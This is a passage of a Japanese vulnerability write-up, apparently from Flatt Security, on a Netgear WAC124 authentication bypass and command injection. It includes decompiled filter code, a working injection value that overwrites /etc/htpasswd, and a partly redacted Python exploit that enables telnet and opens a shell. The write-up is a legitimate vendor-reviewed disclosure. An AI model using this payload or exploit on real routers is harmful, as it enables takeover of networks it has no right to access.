   <div id="guest" class="basic_button" style="display: none" onclick="click_action('guest');"><b><span languageCode = "470">Guest Network</span></b></div>
-->
        <div id="turbovideo" class="basic_button" style="display: none" onclick="click_action('turbovideo');"><b><span languageCode = "3227">FastLane</span></b></div>
        <div id="greendown" class="basic_button" style="display: none" onclick="click_action('greendown');"><b><span languageCode = "2038">NETGEAR Downloader</span></b></div>
      </div>
      <!--div id="mini_height"> </div-->
      <div id="formframe_div">
        <iframe name="formframe" id="formframe"  allowtransparency="true" height="100%" width="100%" scrolling="no" frameborder="0" > </iframe>
      </div>
      <div id="footer" class="footer"> <img class="footer_img" src="image/footer/footer.gif">
        <div id="support"> <b languageCode = "3057">HELP & SUPPORT</b> &nbsp; <a target="_blank" href=" http://www.netgear.com/support/product/WAC124.aspx#docs" languageCode = "489">Documentation</a> | <a target="_blank" href="http://www.netgear.com/support/product/WAC124.aspx" languageCode = "3241">Online Support</a> | <a target="_blank" href="https://www.netgear.com/support/product/WAC124.aspx#download" languageCode = "10809">Downloads</a> | <a target="_blank" href="https://kb.netgear.com/2649/NETGEAR-Open-Source-Code-for-Programmers-GPL">GPL</a> </div>
        <div id="search" align=right> <b languageCode = "3139">SEARCH HELP</b>
          <input type="text" name="search" value="Enter Search Item" onKeyPress="detectEnter('num',event);" onFocus="this.select();" languageCode = "3042" >
          <input id="search_button" class="search_button" type="button" name="dosearch" value="GO" onClick="do_search();" languageCode = "3055">
        </div>
      </div>
    </div>
  </div>
</form>
<script language="javascript" type="text/javascript" src="langs.js"></script>
</body>

原因はわかりませんが、本来であればnext_fileにあるxmlファイルが出力されるはずのところ、todo= を(URLエンコードして)渡すと、認証されたユーザーだけに表示されるはずのindex.htmの内容が代わりに出力されることが分かりました。

この時点で、この文字列チェックはバイパス可能であることがわかり、また、サーバーから予期せぬ動作が起きていることもわかりました。

HTTPリクエストのファジング

クエリ文字列によるバイパスの可能性を発見した後、curlでHTTPリクエストを送信したときに、いくつかの奇妙な動作も発見しました。

$ curl 'http://192.168.0.100/test' -v
*   Trying 192.168.0.100...
* TCP_NODELAY set
* Connected to 192.168.0.100 (192.168.0.100) port 80 (#0)
> GET /test HTTP/1.1
> Host: 192.168.0.100
> User-Agent: curl/7.64.1
> Accept: */*
> 
(null) 403 Forbidden
Server: mini_httpd/1.24 10May2016
Date: Tue, 07 Sep 2021 11:32:54 GMT
Cache-Control: no-cache,no-store
Content-Type: text/html; charset=%s
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1;mode=block
X-Content-Type-Options: nosniff
Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
 
<html>
 
  <head>
    <meta http-equiv="Content-type" content="text/html;charset=UTF-8">
    <title>403 Forbidden</title>
  </head>
 
  <body bgcolor="#cc9999" text="#000000" link="#2020ff" vlink="#4040cc">
 
    <h4>403 Forbidden</h4>
Curl is forbidden
</BODY>
</HTML>
* Closing connection 0

出力の最初の行を見てください。レスポンスとして (null) 403 Forbidden を送信しています。

この時点で、私はこれ以上考えるのをやめました。 mini_httpd には多くの未知の動作があり、根本的な原因を突き止めるのは困難なように思えたからです。更なる調査の代わりに、mini_httpd のバイパスとなりうるものをいくつか見つけるために、シンプルなHTTPパスファザーを書くことにしました。

20~30分ほどファザーを実行したところ、認証をバイパスし、事前認証なしで next_file で指定したファイルにアクセスすることができました。

皆さんの宿題とするために実際のペイロードを削除しています。HTTPファザーを作るのも楽しいはずです。

NETGEARの他のモデルでも認証バイパスを見つけることは可能だと思うので、是非チャレンジしてみてください。他のセキュリティ研究者もパスをファジングすることで似たような、もしくは同じバグを発見しているようでしたので、自分でファザーを作るのもいいかもしれませんよ 🙂

とにかく、私は有効なパスをprefixとして持つURLに対する愚直な実装のファザーを開発しました。私のファザーのようなものを作って、HTTPプロトコルのファジングを行うことができるかもしれません。

curl 'http://192.168.0.100/***REDACTED***' -H "User-Agent: Mozilla/5.0" -v
*   Trying 192.168.0.100...
* TCP_NODELAY set
* Connected to 192.168.0.100 (192.168.0.100) port 80 (#0)
> GET /***REDACTED*** HTTP/1.1
> Host: 192.168.0.100g
> Accept: */*
> User-Agent: Mozilla/5.0
> 
***REDACTED*** HTTP/1.1 200 Ok
Server: mini_httpd/1.24 10May2016
Date: Tue, 07 Sep 2021 12:09:55 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 7441
Last-Modified: Fri, 20 Mar 2020 06:26:17 GMT
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1;mode=block
X-Content-Type-Options: nosniff
Connection: close
 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head><link rel="stylesheet" href="style/top.css">
<script language="javascript" type="text/javascript" src="funcs.js"></script>
<script language="javascript" type="text/javascript" src="top.js"></script>
<script language="javascript" type="text/javascript" src="string.js"></script>
<script language="javascript" type="text/javascript" src="utility.js"></script>
<script language="javascript" type="text/javascript" src="linux.js"></script>
<link rel="stylesheet" href="style/form.css">
<script language="javascript" type="text/javascript">
//NOTE: set nvram "dbg_cpu_mirror=1" to let cpu-port mirror to lan0 
var telnet_status = "@dbg_telnet_stat#";
var wan_mirror_status = "@dbg_wan_mirror_stat#";
var dbg_store_location = "@dbg_storage_location#";
var dbg_wifi_band = "@dbg_wifi_band#";
var dbg_button_status = "@dbg_button_status#";
var dbg_ipv6_ping_status = "@dbg_ipv6_ping_status#";
...
 
<div id="other">
<table width="100%" border="0" cellpadding="0" cellspacing="2">
   <tr><td colspan="4"><input type="checkbox" name="enable_telnet" id="enable_telnet" onClick="return dbg_configure('telnet')"><b languageCode="">Enable Telnet</b></td></tr>
   <tr><td colspan="4"><input type="checkbox" name="wan_lan_mirror" id="wan_lan_mirror" onClick="return dbg_configure('wan_mirror')"><b languageCode="">WAN Port mirror to LAN port1</b></td></tr>
   <tr><td colspan="4"><input type="checkbox" name="ipv6_ping_enable" id="ipv6_ping_enable" onClick="return dbg_configure('ipv6_ping')"><b languageCode="">Allow external IPv6 hosts ping internal IPv6 hosts</b></td></tr>
</table>
</div>
<!--<input type="hidden" name="todo" value="changelanguage">-->
<input type="hidden" name="this_file" value="debug.htm">
<input type="hidden" name="next_file" value="debug.htm">
<input type="hidden" name="SID" value="@SID#">
<input type="hidden" name="h_language" value="@h_language#">
</form>
 
<script language="javascript" type="text/javascript" src="langs.js"></script>
 
</body>
</html>
 
* Closing connection 0

コマンドインジェクションの発見

これで、認証バイパスが動作するようになり、Telnetコンソールをオンにしてシェルにアクセスすることが簡単にできるようになりました。しかし、まだ問題が残っています。管理者の認証情報を持っていないのです。

先ほど紹介した任意のファイルの読み取りもありますが、USBドライブを利用する等の前提条件が必要なため、ここでは無視します。

改めて setup.cgi のコードを見返してみると、COMMAND 関数というものがあり、この関数は一般的な system() 関数のように動作するようですが、フォーマット文字列をサポートしているようです。

                **************************************************************
                *                       THUNK FUNCTION                       *
                **************************************************************
                thunk undefined COMMAND()
                    Thunked-Function: <EXTERNAL>::COMMAND
                    assume t9 = 0x4a0e10
undefined         v0:1           <RETURN>
                <EXTERNAL>::COMMAND                             XREF[210]:   Entry Point(*), 
                                                                            vuln_func1:00409ad8(c), 
                                                                            vuln_func1:00409b2c(c), 
                                                                            vuln_func1:00409be0(c), 
                                                                            FUN_0040b9ec:0040bb88(c), 
                                                                            FUN_0040ca70:0040cf98(c), 
                                                                            FUN_0040ca70:0040d04c(c), 
                                                                            FUN_0040ca70:0040d07c(c), 
                                                                            FUN_0040d808:0040d8cc(c), 
                                                                            FUN_0040d808:0040d8e4(c), 
                                                                            FUN_004138f8:00413930(c), 
                                                                            FUN_00413998:004139cc(c), 
                                                                            FUN_00413a50:00414c5c(c), 
                                                                            FUN_00415f94:00415fa4(j), 
                                                                            FUN_00450968:00450a88(c), 
                                                                            FUN_00450968:00450aa0(c), 
                                                                            FUN_0046a880:0046a990(c), 
                                                                            FUN_004858dc:004859e0(c), 
                                                                            FUN_004858dc:004859f8(c), 
                                                                            del_folder:00495aa8(c), [more]
004a0e10 10 80 99 8f     lw         t9,-0x7ff0(gp)=>__DT_PLTGOT                      = 00000000
        assume t9 = <UNKNOWN>
004a0e14 21 78 e0 03     move       t7,ra
004a0e18 09 f8 20 03     jalr       t9
004a0e1c 9c 01 18 24     _li        t8,0x19c

当該関数の呼び出し元となる関数を調査していたところ、iTunes Serverのパスワードを設定する関数がありました。この関数は、remote_passcode が有効な名前である場合、/tmp/itunes/apple.remote にパスワードを書き込みます。

// 004d99d0 44 dc 4a 00     addr       s_iserver_allow_ctrl_004adc44                    = "iserver_allow_ctrl"
// 004d99d4 d4 87 40 00     addr       FUN_004087d4
 
undefined4 FUN_004087d4(undefined4 param_1)
 
{
  undefined4 uVar1;
  int iVar2;
  char *pcVar3;
  
  uVar1 = find_val(param_1,"remote_passcode");
  iVar2 = test_command_inject(uVar1);
  if (iVar2 == 0) {
    uVar1 = find_val(param_1,"this_file");
    alert("Invalid passcode value!",uVar1);
    uVar1 = 0xffffffff;
  }
  else {
    uVar1 = find_val(param_1,"remote_passcode");
    nvram_set("remote_passcode",uVar1);
    nvram_commit();
    pcVar3 = (char *)nvram_get("remote_passcode");
    if (pcVar3 == (char *)0x0) {
      pcVar3 = "";
    }
    if (*pcVar3 != '\0') {
      COMMAND("/bin/echo dummy > /tmp/itunes/apple.remote");
      COMMAND("/bin/echo %s >> /tmp/itunes/apple.remote",pcVar3);
    }
    sleep(2);
    uVar1 = find_val(param_1,"this_file");
    html_parser(uVar1,param_1,key_fun_tab);
    uVar1 = 0;
  }
  return uVar1;
}

しかし、実際に COMMAND 関数が実行される前に、test_command_inject というチェック関数があることがわかります。test_command_inject 関数を見てみましょう。

undefined4 test_command_inject(char *param_1)
 
{
  char *pcVar1;
  FILE *__stream;
  
  pcVar1 = strstr(param_1,"/bin");
  if (((pcVar1 == (char *)0x0) && (pcVar1 = strstr(param_1,"/sbin"), pcVar1 == (char *)0x0)) &&
     (pcVar1 = strchr(param_1,0x60), pcVar1 == (char *)0x0)) {
    return 1;
  }
  __stream = fopen("/dev/console","a+");
  if (__stream != (FILE *)0x0) {
    fprintf(__stream,"[%s::%s():%d] ","other.c","test_command_inject",0xa2e);
    fprintf(__stream,"Possible COMMAND injection detected:\"%s\"!\n",param_1);
    fclose(__stream);
  }
  return 0;
}

/bin, /sbin, ` がブロックされていることがわかります。幸い、縦棒(|)がチェック関数にブロックされることはありません。

コマンドは /bin/echo [input] >> /tmp/itunes/apple.remote なので admin:styexp>/etc/htpasswd| のように入れると、最終的な実行では次のようになります。

/bin/echo admin:styexp>/etc/htpasswd|>/tmp/itunes/apple.remote

この方法で、/etc/htpasswd をコマンドインジェクションの脆弱性を利用して上書きすることができます。この関数から直接認証情報を設定できるため、漏洩させる必要はありません。

前提条件なしのRCE PoC

エクスプロイトコード

上記で発見された脆弱性によって、認証なしで管理者の認証情報を任意に変更できるようになりました。

これにより、www.routerlogin.comにアクセスできる攻撃者なら誰でも前提条件なしで実行して、サーバーからシステムシェルを取得することができます。

インターネット上で悪用されるのを防ぐために、今のところはエクスプロイトコードの一部を削除することにしました。しかし、このスニペットを動作させることはそれほど難しくはないはずです。

#!/usr/bin/python -u
# -*- coding: utf-8 -*-
 
"""
Title: Netgear WAC124 pre-auth exploit by stypr @ Flatt Security Inc.
Developer: stypr @ Flatt Security Inc.
Website: https://harold.kim/, https://flatt.tech/
Date: 2021-07-07
This exploit contains two vulnerabilities.
  - Authentication Bypass
    - This will gain privileges for admin
    - Also, it will trigger
  - Command Injection
    - Since we have the admin privilege, we can now have more features available.
    - Some of codes are vulnerable to command injection, in which we can overwrite admin password.
    - There are filters available, but currently it is possible to bypass filters.
"""
 
...
 
# Real functions start here
def check_vulnerable():
    """
    Check if the server is vulnerable.
    """
    debug_htm = "CHANGEME"
    resp = send_get_request(path="/setup.cgi?next_file=" + debug_htm)
    resp = resp.decode()
    if "Enable Telnet" in resp:
        print("[.] It seems to be exploitable!")
        return True
    return False
 
 
def trigger_telnet_on():
    """
    Trigger telnet on by authentication bypass
    """
    todo = "CHANGEME"
    debug_htm = "CHANGEME"
 
    # Note: todo is bypassed
    resp = send_get_request(
        path="/setup.cgi?" + todo + "=dbg_configure&telnet=1&this_file=" + debug_htm + "&next_file=" + debug_htm,
    )
    resp = resp.decode()
    if "Enable Telnet" in resp:
        return True
    return False
 
 
def command_injection():
    """
    Trigger command injection to overwrite /etc/htpasswd
    """
    todo = "CHANGEME"
    usb_media = "CHANGEME"
    remote_passcode = "admin:styexp%3E/etc/htpasswd|"
 
    # Note: todo is bypassed
    resp = send_get_request(
        path="/setup.cgi?" + todo + "=iserver_allow_ctrl&remote_passcode=" + remote_passcode + "&this_file=" + usb_media
        
    )
    resp = resp.decode()
    if "itunes_server_enable" in resp:
        return True
    return False
 
 
def trigger_shell(username, password):
    """
    Triggering shell
    """
    with Telnet(HOST, 23) as session:
        session.read_until(b"login: ")
        session.write(username.encode() + b"\n")
        session.write(password.encode() + b"\n")
        session.interact()
 
 
if __name__ == "__main__":
    print("[*] Checking if the bug is exploitable...")
    result = check_vulnerable()
    if not result:
        print("[-] Maybe it is not exploitable......")
        sys.exit(-1)
 
    print("[*] Enabling telnet...")
    result = trigger_telnet_on()
    if not result:
        print("[-] Failed to trigger telnet on.. Maybe it's fixed.")
        sys.exit(-1)
 
    print("[*] Overwriting /etc/htpasswd...")
    result = command_injection()
    if not result:
        print("[-] Failed to overwrite /etc/htpasswd")
        sys.exit(-1)
 
    print("[*] Triggering shell...")
    trigger_shell("admin", "styexp")

実機のルーターでエクスプロイトを実行

デモ映像

デモ動画には、上記のPoCコードを実際に動作させたエクスプロイトが含まれています。このエクスプロイトでは、認証をバイパスし、認証情報を上書きするコマンドインジェクションを実行し、不正なユーザーでありながらシェルを立ち上げます。

www.youtube.com

Flatt Securityについて

株式会社Flatt Securityはセキュリティ診断サービスを提供しています。

セキュリティエンジニアによる手動診断によって高い精度で脆弱性を洗い出すことが可能です。ツールによる診断しか過去実施しておらず認証や決済といった重要な機能のセキュリティに不安があったり、既存のベンダーとは違う会社に依頼したいと考えていたりする方はお気軽にご相談ください。

数百万円からスタートの大掛かりなものばかりを想像されるかもしれませんが、上記のデータが示すように、診断は幅広いご予算帯に応じて実施が可能です。ご興味のある方向けに下記バナーより料金に関する資料もダウンロード可能です。

また、Flatt Securityはセキュリティに関する様々な発信を行っています。 最新情報を見逃さないよう、公式Twitterのフォローをぜひお願いします!

twitter.com

ここまでお読みいただきありがとうございました。

備考

本記事のオリジナルの英語版はNETGEARのセキュリティチームによって確認済です。